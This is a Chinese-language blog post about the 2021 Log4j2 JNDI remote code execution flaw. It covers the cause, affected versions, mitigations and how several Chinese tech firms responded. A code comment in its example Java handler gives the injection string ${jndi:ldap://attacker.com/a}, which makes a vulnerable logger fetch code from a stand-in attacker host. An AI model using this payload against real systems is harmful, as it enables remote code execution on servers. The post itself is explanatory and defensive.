前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >见证历史了。。。

见证历史了。。。

作者头像
永恒君
发布2022-12-06 15:53:24
5190
发布2022-12-06 15:53:24
举报
文章被收录于专栏:开源小分队开源小分队

大家好,我是爱撸码的开源大叔!

最近这两天 log4j2 的事情闹得是沸沸扬扬的,本来大叔我是两耳不闻窗外事,一心只敲圣贤码的,谁知,公司研发群的一则通知打破了本来的宁静。

这个时候,我才意识到了问题的严重性,然后我就去各大程序员社区(知乎、CSDN、开源中国等)搜了一下,果然,这件事被大家讨论的沸沸扬扬。

大叔并没有着急整理这篇文章,而是让子弹飞一会

漏洞介绍

Apache Log4j2

Apache Log4j2 是一款开源的 Java 日志记录工具,大量的业务框架都使用了该组件。此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。

漏洞原因

本次远程代码执行漏洞正是由于组件存在 Java JNDI 注入漏洞:当程序将用户输入的数据记录到日志时,攻击者通过构造特殊请求,来触发 Apache Log4j2 中间的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码

那么什么是 JNDI 呢?

Java命名和目录接口(Java Naming and Directory Interface,缩写 JNDI),是 Java 的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。

利用下面这段代码,攻击者可以通过 JNDI 来执行 LDAP 协议来注入一些非法的可执行代码。

代码语言:javascript
复制
public class VulnerableLog4jExampleHandler implements HttpHandler { 
    static Logger log = Logger.getLogger(log4jExample.class.getName()); 
    /** * A simple HTTP endpoint that reads the request's User Agent and logs it back. * * This is basically pseudo-code to explain the vulnerability, and not a full example. * * @param he HTTP Request Object */ 
    public void handle(HttpExchange he) throws IOException { 
        String userAgent = he.getRequestHeader("user-agent"); 
        // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header. 
        // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a} log.info("Request User Agent:" + userAgent); 
        String response = "Hello There, " + userAgent + "!"; 
        he.sendResponseHeaders(200, response.length()); 
        OutputStream os = he.getResponseBody(); 
        os.write(response.getBytes()); 
        os.close(); 
    } 
}

影响范围

Apache Log4j 2.x <= 2.15.0-rc1(据悉,官方rc1补丁有被绕过的风险)

解决方式

当问题爆出来之后,大家都在积极修复该漏洞。

临时性缓解措施(任选一种)

  • 在 jvm 参数中添加 -Dlog4j2.formatMsgNoLookups=true
  • 系统环境变量中将 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true
  • 建议 JDK 使用 11.0.1、8u191、7u201、6u211 及以上的高版本
  • 创建 “log4j2.component.properties” 文件,文件中增加配置 “log4j2.formatMsgNoLookups=true”
  • 限制受影响应用对外访问互联网
  • WAF 添加漏洞攻击代码临时拦截规则。

永久性解决方案

截止目前,Log4j2 官网已经发布了 Log4j2 2.15.0 正式版,来解决此次漏洞,大家可以升级到该版本来解决该漏洞。

八仙过海,各显神通

当问题出现之后,最重要的是先解决问题,咱国内的互联网大厂那可是一刻也没有松懈,全都迅速响应,拿出了自己的解决方案。

美团

org.apache.logging.log4j:log4j-core 在 2.10.0 以上增加了不启用 lookup 的配置项,但是默认关闭,官方暂无提供默认开启的正式版本。

美团日志框架(xmd-log4j2)封装了 log4j2,在 1.4.1 将开关默认打开,防御上面的攻击场景。

美团内大部分业务使用 xmd-log4j2 , xmd-log4j2 会引入 log4j2,故使用 com.meituan.inf:xmd-log4j2 引入的 org.apache.logging.log4j:log4j-core,需升级com.meituan.inf:xmd-log4j2 到最新版本(1.4.1)完成修复。注:切勿使用 xmd-log4j2 2.0.0-Snapshot 包,这不是修复包。

通过 maven 配置更新 xmd-log4j2,使用最新版本(1.4.1),或使用 inf-bom 1.4.14.1。

阿里

使用了 rasp,加了拦截策略。原理算是字节码增强,通过配置的规则,检测到了攻击就进行上报,或者直接抛出异常。这算是个防御手段,按照阿里人的说法,目前是止血。

字节

安全部门将对公司全部 Java 服务进行组件扫描与升级,禁止低版本 Log4j 组件在线上运行。

同时,我们也将开启针对低版本、高风险组件(Log4j2 和 FastJSON)的安全卡点。

百度

百度的我还没找到他们的解决方式,但是我偷偷的试了一下,确实已经解决了。

思考

我们是历史的经历者,也是历史的见证者,当出现这样足以被载入史册的重大事件之后,我们在“吃瓜”之余,也要有一些自己的思考。

不仅仅是 Apache Log4j 2 组件,而是只要有数据和代码未曾分离的地方,全都是注入攻击的可寻之地。因此我们在平时写代码的时候要严防各种注入,最常见的应该就是 SQL 注入了。

但是,我们也不要因噎废食,弃之不用。攻击检测和漏洞修复的工作,有很多研究机构和安全公司都在进行。历史是螺旋上升的,安全也是,前进性、曲折性和周期性不可避免。

王坚博士曾说:安全是互联网公司的生命,也是每一位网民的最基本需求。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-12-12,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 开源小分队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 漏洞介绍
    • Apache Log4j2
      • 漏洞原因
        • 影响范围
        • 解决方式
          • 临时性缓解措施(任选一种)
            • 永久性解决方案
            • 八仙过海,各显神通
              • 美团
                • 阿里
                  • 字节
                    • 百度
                    • 思考
                    相关产品与服务
                    脆弱性检测服务
                    脆弱性检测服务(Vulnerability detection Service,VDS)在理解客户实际需求的情况下,制定符合企业规模的漏洞扫描方案。通过漏洞扫描器对客户指定的计算机系统、网络组件、应用程序进行全面的漏洞检测服务,由腾讯云安全专家对扫描结果进行解读,为您提供专业的漏洞修复建议和指导服务,有效地降低企业资产安全风险。
                    领券
                    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档